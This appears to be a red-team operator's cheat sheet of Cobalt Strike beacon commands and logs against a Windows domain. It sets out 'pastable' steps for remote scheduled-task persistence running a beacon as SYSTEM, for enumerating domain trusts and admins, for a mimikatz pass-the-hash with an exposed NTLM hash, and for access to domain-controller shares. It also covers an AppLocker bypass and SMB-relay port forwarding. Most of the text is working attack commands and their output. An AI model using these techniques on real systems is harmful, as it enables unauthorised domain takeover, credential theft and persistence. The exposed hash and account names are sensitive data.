k54_Cheatsheet_Notes

Quickie Pastable
shell schtasks /create /S 192.168.105.104 /TN X-Cobalt-Strike-Remote-Persistence /TR C:\WIndows\System32\testbeacon.exe /SC ONSTART /RU SYSTEM
shell schtasks /run /S 192.168.105.104 /TN X-Cobalt-Strike-Remote-Persistence


# Finding Trust Domain Relationships in DSQUery. use to find thngs like Admins oe Enterpise Admins  that we can reuse credentials in a whole different domain (ie the Austin Gretechel scenarios)
shell dsquery * -filter (objectclass=trusteddomain) -attr flatname trusttype trustdirection  -l


Tip 1) Bounce back between runnign dsquery from system and froman actual user account due ot issues with some users not being authenticated

----
shell dsquery * -filter "(objectclass=computer)" -attr description  samaccountname  name  operatingsystem dnshostname -d gretchel
[*] Tasked beacon to run: dsquery * -filter "(objectclass=computer)" -attr description  samaccountname  name  operatingsystem dnshostname -d gretchel
[+] host called home, sent: 154 bytes
[+] received output:
dsquery failed:The server is not operational.
type dsquery /? for help.
[+] received output:
  description    samaccountname    name            operatingsystem                    dnshostname
                 GRETCHEL-DC1$     GRETCHEL-DC1    Windows Server 2012 R2 Standard    gretchel-DC1.gretchel.local



[*] Tasked beacon to run: dsget group "CN=Enterprise Admins,CN=Users,DC=gretchel,DC=local" -members
[+] host called home, sent: 104 bytes
[+] received output:
"CN=Danson\, chris M,OU=Users,OU=IT,OU=HQ,DC=gretchel,DC=local"
"CN=Lazarus\, Alan W,OU=Users,OU=IT,OU=HQ,DC=gretchel,DC=local"
"CN=Laredo\, Daryl S,OU=Users,OU=IT,OU=HQ,DC=gretchel,DC=local"
"CN=Chen\, Tony F,OU=Users,OU=IT,OU=HQ,DC=gretchel,DC=local"
"CN=Administrator,CN=Users,DC=gretchel,DC=local"

shell dsget group "CN=Domain Admins,CN=Users,DC=gretchel,DC=local" -members
[*] Tasked beacon to run: dsget group "CN=Domain Admins,CN=Users,DC=gretchel,DC=local" -members
[+] host called home, sent: 100 bytes
[+] received output:
"CN=Administrator,CN=Users,DC=gretchel,DC=local

beacon> shell nslookup gretchel-dc1
[*] Tasked beacon to run: nslookup gretchel-dc1
[+] host called home, sent: 52 bytes
[+] received output:
Server:  gretchel-dc1.gretchel.local
Address:  172.16.1.10

eacon> shell dsquery server -forest
[*] Tasked beacon to run: dsquery server -forest
[+] host called home, sent: 53 bytes
[+] received output:
"CN=GRETCHEL-DC1,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=gretchel,DC=local"
"CN=AUS-DC1,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=gretchel,DC=local"
"CN=CHI-DC1,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=gretchel,DC=local"
"CN=CHI-DC2,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=gretchel,DC=local"
----
Weirdness around ls/shell dir of the directory on the parent DC. ONly wokred when i used builtin ls of CS

beacon> shell dir \\172.16.1.10\C$
[*] Tasked beacon to run: dir \\172.16.1.10\C$
[+] host called home, sent: 51 bytes
[-] could not spawn C:\Windows\system32\cmd.exe /C dir \\172.16.1.10\C$ (token) with extended startup information. Reset ppid, disable blockdlls, or rev2self to drop your token.
beacon> pth GRETCHEL.local\chris.danson.ea eda099c1520936a2966ab0c04b7a7296
[*] Tasked beacon to run mimikatz's sekurlsa::pth /user:chris.danson.ea /domain:GRETCHEL.local /ntlm:eda099c1520936a2966ab0c04b7a7296 /run:"%COMSPEC% /c echo 12719d8990e > \\.\pipe\4b2017" command
[+] host called home, sent: 297614 bytes
[+] Impersonated NT AUTHORITY\SYSTEM
[+] received output:
user	: chris.danson.ea
domain	: GRETCHEL.local
program	: C:\Windows\system32\cmd.exe /c echo 12719d8990e > \\.\pipe\4b2017
impers.	: no
NTLM	: eda099c1520936a2966ab0c04b7a7296
  |  PID  3856
  |  TID  2496
  |  LSA Process is now R/W
  |  LUID 0 ; 190663225 (00000000:0b5d4a39)
  \_ msv1_0   - data copy @ 000000D74557AFA0 : OK !
  \_ kerberos - data copy @ 000000D745528F38
   \_ aes256_hmac       -> null
   \_ aes128_hmac       -> null
   \_ rc4_hmac_nt       OK
   \_ rc4_hmac_old      OK
   \_ rc4_md4           OK
   \_ rc4_hmac_nt_exp   OK
   \_ rc4_hmac_old_exp  OK
   \_ *Password replace @ 000000D74560B0F8 (16) -> null

beacon> shell dir \\GRETCHEL-DC1\C$
[*] Tasked beacon to run: dir \\GRETCHEL-DC1\C$
[+] host called home, sent: 52 bytes
[-] could not spawn C:\Windows\system32\cmd.exe /C dir \\GRETCHEL-DC1\C$ (token) with extended startup information. Reset ppid, disable blockdlls, or rev2self to drop your token.
beacon> ls \\GRETCHEL-DC1\C$
[*] Tasked beacon to list files in \\GRETCHEL-DC1\C$
[+] host called home, sent: 35 bytes
[*] Listing: \\GRETCHEL-DC1\C$\


beacon> ls \\GRETCHEL-DC1\sysvol
[*] Tasked beacon to list files in \\GRETCHEL-DC1\sysvol
[+] host called home, sent: 39 bytes
[*] Listing: \\GRETCHEL-DC1\sysvol\

 Size     Type    Last Modified         Name
 ----     ----    -------------         ----
          dir     08/09/2022 09:54:27   gretchel.local


### Rev2Self verifies that you do need pass the hash as now i cant ls the anything
beacon> rev2self
[*] Tasked beacon to revert token
[+] host called home, sent: 8 bytes
beacon> ls \\GRETCHEL-DC1\sysvol
[*] Tasked beacon to list files in \\GRETCHEL-DC1\sysvol
[+] host called home, sent: 39 bytes
[-] could not open \\GRETCHEL-DC1\sysvol\*: 5
beacon> ls \\GRETCHEL-DC1\C$
[*] Tasked beacon to list files in \\GRETCHEL-DC1\C$
[+] host called home, sent: 35 bytes
[-] could not open \\GRETCHEL-DC1\C$\*: 5


#### How to FInd the the 2F token number used as thier logon samaccount ID  for the Workstation Admin accounts that have remote logon capaiblity using DSQUERY



### Socks
gotta have SOCKS AND PORTFWD together they aren't interchangeable. when trying to hit th e ssh port thru socks/proxychains



beacon> reg query x64 HKLM\software\policies\microsoft\windows\srpv2\Script\9428c672-5fc3-47f4-808a-a0011f36dd2c
[*] Tasked beacon to query HKLM\software\policies\microsoft\windows\srpv2\Script\9428c672-5fc3-47f4-808a-a0011f36dd2c (x64)
[+] host called home, sent: 2701 bytes
[+] received output:
Value                    <FilePathRule Id="9428c672-5fc3-47f4-808a-a0011f36dd2c" Name="(Default Rule) All scripts located in the Windows folder" Description="Allows members of the Everyone group to run scripts that are located in the Windows folder." UserOrGroupSid="S-1-1-0" Action="Allow"><Conditions><FilePathCondition Path="%WINDIR%\*"/></Conditions></FilePathRule>


beacon> reg query x64 HKLM\software\policies\microsoft\windows\srpv2\Script\ed97d0cb-15ff-430f-b82c-8d7832957725
[*] Tasked beacon to query HKLM\software\policies\microsoft\windows\srpv2\Script\ed97d0cb-15ff-430f-b82c-8d7832957725 (x64)
[+] host called home, sent: 2701 bytes
[+] received output:
Value                    <FilePathRule Id="ed97d0cb-15ff-430f-b82c-8d7832957725" Name="(Default Rule) All scripts" Description="Allows members of the local Administrators group to run all scripts." UserOrGroupSid="S-1-5-32-544" Action="Allow"><Conditions><FilePathCondition Path="*"/></Conditions></FilePathRule>


# The syntax to use DSQUERY.exe thru an Application Whitelist Bypass custom C# code
# beacon> execute-assembly /mnt/supershare/applocker-bypas/applby.exe C:\transfer\dsquery.exe * -filter *


# PortForwarding to Relay SMB Authentication Requires some KEY THINGS

  Cobalt Strike Client ---> CS Teamserver ----> Customer Machine on Local Customer Network ----> Customer Target Domain Controller for SMB Auth
	1			2				3					4

1. The porfwd should be run on machine 3 with the target ip of the DC (machine 4) and target port (445)
2. The SMB Auth relay via Pass-The-Hash must be relayed thru an additional (not depicted in the diagram) machine that is a Windows box with an implant calling back to teamserver as SYSTEM.
3. On the Windows Relayer box change the /etc/hosts file to make an DNSname alias for the Target Customer Domain controller but put hte IP as the out-of-band for the Kali Teamserver IP
4. Execute the pass-the-hash on the beacon that corresponsds to your Windows Relayer box. Make sure your SYSTEM
5. Execute all "passing queries" on the Windows Relayer Box. (shell dir \\TARGETDC\C$\)




------
When get error:
dsquery failed:The operation being requested was not performed because the user has not been authenticated.
type dsquery /? for help.

try to run with the '-d' parameter if usig cross-domain trust
beacon> shell dsquery * -filter (name=*web*) -attr * -d austin
[*] Tasked beacon to run: dsquery * -filter (name=*web*) -attr * -d austin
[+] host called home, sent: 79 bytes
[+] received output:
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
objectClass: computer
cn: AUS-WEB